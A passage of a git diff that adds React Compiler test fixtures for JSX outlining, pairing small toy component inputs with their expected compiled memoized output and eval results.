+  const $ = _c(3);
+  const { x, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== x) {
+    t1 = (
+      <>
+        {x}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Baz(t0) {
+  const $ = _c(2);
+  const { i } = t0;
+  let t1;
+  if ($[0] !== i) {
+    t1 = <>{i}</>;
+    $[0] = i;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+function useX() {
+  return "x";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arr: ["foo", "bar"] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [null,null]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-child-stored-in-id.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-child-stored-in-id.js
new file mode 100644
index 000000000000..96a4e7bb2484
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-child-stored-in-id.js
@@ -0,0 +1,40 @@
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return arr.map(i => {
+    <>
+      {arr.map((i, id) => {
+        let child = (
+          <Bar x={x}>
+            <Baz i={i}></Baz>
+          </Bar>
+        );
+
+        let jsx = <div>{child}</div>;
+        return jsx;
+      })}
+    </>;
+  });
+}
+
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return <>{i}</>;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dup-key-diff-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dup-key-diff-value.expect.md
new file mode 100644
index 000000000000..ded6e67020fa
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dup-key-diff-value.expect.md
@@ -0,0 +1,166 @@
+
+## Input
+
+```javascript
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i + 'i'}></Baz>
+            <Foo k={i + 'j'}></Foo>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableJsxOutlining
+function Component(t0) {
+  const $ = _c(7);
+  const { arr } = t0;
+  const x = useX();
+  let t1;
+  if ($[0] !== arr || $[1] !== x) {
+    let t2;
+    if ($[3] !== x) {
+      t2 = (i, id) => {
+        const T0 = _temp;
+        return <T0 i={i + "i"} k={i + "j"} key={id} x={x} />;
+      };
+      $[3] = x;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    t1 = arr.map(t2);
+    $[0] = arr;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[5] !== t1) {
+    t2 = <>{t1}</>;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function _temp(t0) {
+  const $ = _c(8);
+  const { i: i, k: k, x: x } = t0;
+  let t1;
+  if ($[0] !== i) {
+    t1 = <Baz i={i} />;
+    $[0] = i;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== k) {
+    t2 = <Foo k={k} />;
+    $[2] = k;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t1 || $[5] !== t2 || $[6] !== x) {
+    t3 = (
+      <Bar x={x}>
+        {t1}
+        {t2}
+      </Bar>
+    );
+    $[4] = t1;
+    $[5] = t2;
+    $[6] = x;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  return t3;
+}
+
+function Bar(t0) {
+  const $ = _c(3);
+  const { x, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== x) {
+    t1 = (
+      <>
+        {x}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Baz(t0) {
+  const { i } = t0;
+  return i;
+}
+
+function Foo(t0) {
+  const { k } = t0;
+  return k;
+}
+
+function useX() {
+  return "x";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arr: ["foo", "bar"] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) xfooifoojxbaribarj
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dup-key-diff-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dup-key-diff-value.js
new file mode 100644
index 000000000000..63086739a230
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dup-key-diff-value.js
@@ -0,0 +1,41 @@
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i + 'i'}></Baz>
+            <Foo k={i + 'j'}></Foo>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-attr-after-rename.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-attr-after-rename.expect.md
new file mode 100644
index 000000000000..c95e23222ed7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-attr-after-rename.expect.md
@@ -0,0 +1,177 @@
+
+## Input
+
+```javascript
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Foo k={i + 'i'}></Foo>
+            <Foo k={i + 'j'}></Foo>
+            <Baz k1={i + 'j'}></Baz>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({k1}) {
+  return k1;
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableJsxOutlining
+function Component(t0) {
+  const $ = _c(7);
+  const { arr } = t0;
+  const x = useX();
+  let t1;
+  if ($[0] !== arr || $[1] !== x) {
+    let t2;
+    if ($[3] !== x) {
+      t2 = (i, id) => {
+        const T0 = _temp;
+        return <T0 k={i + "i"} k1={i + "j"} k12={i + "j"} key={id} x={x} />;
+      };
+      $[3] = x;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    t1 = arr.map(t2);
+    $[0] = arr;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[5] !== t1) {
+    t2 = <>{t1}</>;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function _temp(t0) {
+  const $ = _c(11);
+  const { k: k, k1: k1, k12: k12, x: x } = t0;
+  let t1;
+  if ($[0] !== k) {
+    t1 = <Foo k={k} />;
+    $[0] = k;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== k1) {
+    t2 = <Foo k={k1} />;
+    $[2] = k1;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== k12) {
+    t3 = <Baz k1={k12} />;
+    $[4] = k12;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] !== t1 || $[7] !== t2 || $[8] !== t3 || $[9] !== x) {
+    t4 = (
+      <Bar x={x}>
+        {t1}
+        {t2}
+        {t3}
+      </Bar>
+    );
+    $[6] = t1;
+    $[7] = t2;
+    $[8] = t3;
+    $[9] = x;
+    $[10] = t4;
+  } else {
+    t4 = $[10];
+  }
+  return t4;
+}
+
+function Bar(t0) {
+  const $ = _c(3);
+  const { x, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== x) {
+    t1 = (
+      <>
+        {x}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Baz(t0) {
+  const { k1 } = t0;
+  return k1;
+}
+
+function Foo(t0) {
+  const { k } = t0;
+  return k;
+}
+
+function useX() {
+  return "x";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arr: ["foo", "bar"] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) xfooifoojfoojxbaribarjbarj
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-attr-after-rename.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-attr-after-rename.js
new file mode 100644
index 000000000000..09a826492a55
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-attr-after-rename.js
@@ -0,0 +1,42 @@
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Foo k={i + 'i'}></Foo>
+            <Foo k={i + 'j'}></Foo>
+            <Baz k1={i + 'j'}></Baz>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({k1}) {
+  return k1;
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-key-dupe-component.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-key-dupe-component.expect.md
new file mode 100644
index 000000000000..a53d9d92aa67
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-key-dupe-component.expect.md
@@ -0,0 +1,157 @@
+
+## Input
+
+```javascript
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Foo k={i + 'i'}></Foo>
+            <Foo k={i + 'j'}></Foo>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableJsxOutlining
+function Component(t0) {
+  const $ = _c(7);
+  const { arr } = t0;
+  const x = useX();
+  let t1;
+  if ($[0] !== arr || $[1] !== x) {
+    let t2;
+    if ($[3] !== x) {
+      t2 = (i, id) => {
+        const T0 = _temp;
+        return <T0 k={i + "i"} k1={i + "j"} key={id} x={x} />;
+      };
+      $[3] = x;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    t1 = arr.map(t2);
+    $[0] = arr;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[5] !== t1) {
+    t2 = <>{t1}</>;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function _temp(t0) {
+  const $ = _c(8);
+  const { k: k, k1: k1, x: x } = t0;
+  let t1;
+  if ($[0] !== k) {
+    t1 = <Foo k={k} />;
+    $[0] = k;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== k1) {
+    t2 = <Foo k={k1} />;
+    $[2] = k1;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t1 || $[5] !== t2 || $[6] !== x) {
+    t3 = (
+      <Bar x={x}>
+        {t1}
+        {t2}
+      </Bar>
+    );
+    $[4] = t1;
+    $[5] = t2;
+    $[6] = x;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  return t3;
+}
+
+function Bar(t0) {
+  const $ = _c(3);
+  const { x, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== x) {
+    t1 = (
+      <>
+        {x}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Foo(t0) {
+  const { k } = t0;
+  return k;
+}
+
+function useX() {
+  return "x";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arr: ["foo", "bar"] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) xfooifoojxbaribarj
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-key-dupe-component.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-key-dupe-component.js
new file mode 100644
index 000000000000..aa7cb548ce91
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-dupe-key-dupe-component.js
@@ -0,0 +1,37 @@
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Foo k={i + 'i'}></Foo>
+            <Foo k={i + 'j'}></Foo>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-duplicate-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-duplicate-prop.expect.md
new file mode 100644
index 000000000000..e6ba7dd7ee7c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-duplicate-prop.expect.md
@@ -0,0 +1,166 @@
+
+## Input
+
+```javascript
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i}></Baz>
+            <Foo i={i}></Foo>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function Foo({i}) {
+  return i;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableJsxOutlining
+function Component(t0) {
+  const $ = _c(7);
+  const { arr } = t0;
+  const x = useX();
+  let t1;
+  if ($[0] !== arr || $[1] !== x) {
+    let t2;
+    if ($[3] !== x) {
+      t2 = (i, id) => {
+        const T0 = _temp;
+        return <T0 i={i} i1={i} key={id} x={x} />;
+      };
+      $[3] = x;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    t1 = arr.map(t2);
+    $[0] = arr;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[5] !== t1) {
+    t2 = <>{t1}</>;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function _temp(t0) {
+  const $ = _c(8);
+  const { i: i, i1: i1, x: x } = t0;
+  let t1;
+  if ($[0] !== i) {
+    t1 = <Baz i={i} />;
+    $[0] = i;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== i1) {
+    t2 = <Foo i={i1} />;
+    $[2] = i1;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t1 || $[5] !== t2 || $[6] !== x) {
+    t3 = (
+      <Bar x={x}>
+        {t1}
+        {t2}
+      </Bar>
+    );
+    $[4] = t1;
+    $[5] = t2;
+    $[6] = x;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  return t3;
+}
+
+function Bar(t0) {
+  const $ = _c(3);
+  const { x, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== x) {
+    t1 = (
+      <>
+        {x}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Baz(t0) {
+  const { i } = t0;
+  return i;
+}
+
+function Foo(t0) {
+  const { i } = t0;
+  return i;
+}
+
+function useX() {
+  return "x";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arr: ["foo", "bar"] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) xfoofooxbarbar
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-duplicate-prop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-duplicate-prop.js
new file mode 100644
index 000000000000..0314ce8c6765
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-duplicate-prop.js
@@ -0,0 +1,41 @@
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i}></Baz>
+            <Foo i={i}></Foo>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function Foo({i}) {
+  return i;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-jsx-stored-in-id.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-jsx-stored-in-id.expect.md
new file mode 100644
index 000000000000..284491e6fb6f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-jsx-stored-in-id.expect.md
@@ -0,0 +1,146 @@
+
+## Input
+
+```javascript
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        let jsx = (
+          <Bar key={id} x={x}>
+            <Baz i={i}></Baz>
+          </Bar>
+        );
+        return jsx;
+      })}
+    </>
+  );
+}
+
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableJsxOutlining
+function Component(t0) {
+  const $ = _c(7);
+  const { arr } = t0;
+  const x = useX();
+  let t1;
+  if ($[0] !== arr || $[1] !== x) {
+    let t2;
+    if ($[3] !== x) {
+      t2 = (i, id) => {
+        const T0 = _temp;
+        const jsx = <T0 i={i} key={id} x={x} />;
+
+        return jsx;
+      };
+      $[3] = x;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    t1 = arr.map(t2);
+    $[0] = arr;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[5] !== t1) {
+    t2 = <>{t1}</>;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function _temp(t0) {
+  const $ = _c(5);
+  const { i: i, x: x } = t0;
+  let t1;
+  if ($[0] !== i) {
+    t1 = <Baz i={i} />;
+    $[0] = i;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== t1 || $[3] !== x) {
+    t2 = <Bar x={x}>{t1}</Bar>;
+    $[2] = t1;
+    $[3] = x;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  return t2;
+}
+
+function Bar(t0) {
+  const $ = _c(3);
+  const { x, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== x) {
+    t1 = (
+      <>
+        {x}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Baz(t0) {
+  const { i } = t0;
+  return i;
+}
+
+function useX() {
+  return "x";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arr: ["foo", "bar"] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) xfooxbar
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-jsx-stored-in-id.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-jsx-stored-in-id.js
new file mode 100644
index 000000000000..971a9ff99625
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-jsx-stored-in-id.js
@@ -0,0 +1,38 @@
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        let jsx = (
+          <Bar key={id} x={x}>
+            <Baz i={i}></Baz>
+          </Bar>
+        );
+        return jsx;
+      })}
+    </>
+  );
+}
+
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-separate-nested.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-separate-nested.expect.md
new file mode 100644
index 000000000000..9d2b254c063d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-separate-nested.expect.md
@@ -0,0 +1,186 @@
+
+## Input
+
+```javascript
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i}></Baz>
+            <Joe j={i}></Joe>
+            <Foo k={i}></Foo>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function Joe({j}) {
+  return j;
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableJsxOutlining
+function Component(t0) {
+  const $ = _c(7);
+  const { arr } = t0;
+  const x = useX();
+  let t1;
+  if ($[0] !== arr || $[1] !== x) {
+    let t2;
+    if ($[3] !== x) {
+      t2 = (i, id) => {
+        const T0 = _temp;
+        return <T0 i={i} j={i} k={i} key={id} x={x} />;
+      };
+      $[3] = x;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    t1 = arr.map(t2);
+    $[0] = arr;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[5] !== t1) {
+    t2 = <>{t1}</>;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function _temp(t0) {
+  const $ = _c(11);
+  const { i: i, j: j, k: k, x: x } = t0;
+  let t1;
+  if ($[0] !== i) {
+    t1 = <Baz i={i} />;
+    $[0] = i;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== j) {
+    t2 = <Joe j={j} />;
+    $[2] = j;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== k) {
+    t3 = <Foo k={k} />;
+    $[4] = k;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] !== t1 || $[7] !== t2 || $[8] !== t3 || $[9] !== x) {
+    t4 = (
+      <Bar x={x}>
+        {t1}
+        {t2}
+        {t3}
+      </Bar>
+    );
+    $[6] = t1;
+    $[7] = t2;
+    $[8] = t3;
+    $[9] = x;
+    $[10] = t4;
+  } else {
+    t4 = $[10];
+  }
+  return t4;
+}
+
+function Bar(t0) {
+  const $ = _c(3);
+  const { x, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== x) {
+    t1 = (
+      <>
+        {x}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Baz(t0) {
+  const { i } = t0;
+  return i;
+}
+
+function Joe(t0) {
+  const { j } = t0;
+  return j;
+}
+
+function Foo(t0) {
+  const { k } = t0;
+  return k;
+}
+
+function useX() {
+  return "x";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arr: ["foo", "bar"] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) xfoofoofooxbarbarbar
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-separate-nested.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-separate-nested.js
new file mode 100644
index 000000000000..47d97cfc68f1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-separate-nested.js
@@ -0,0 +1,46 @@
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i}></Baz>
+            <Joe j={i}></Joe>
+            <Foo k={i}></Foo>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function Joe({j}) {
+  return j;
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-simple.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-simple.expect.md
new file mode 100644
index 000000000000..09323f5ac65e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-simple.expect.md
@@ -0,0 +1,142 @@
+
+## Input
+
+```javascript
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i}></Baz>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
+
+```
+
+## Code
+
+```javascript
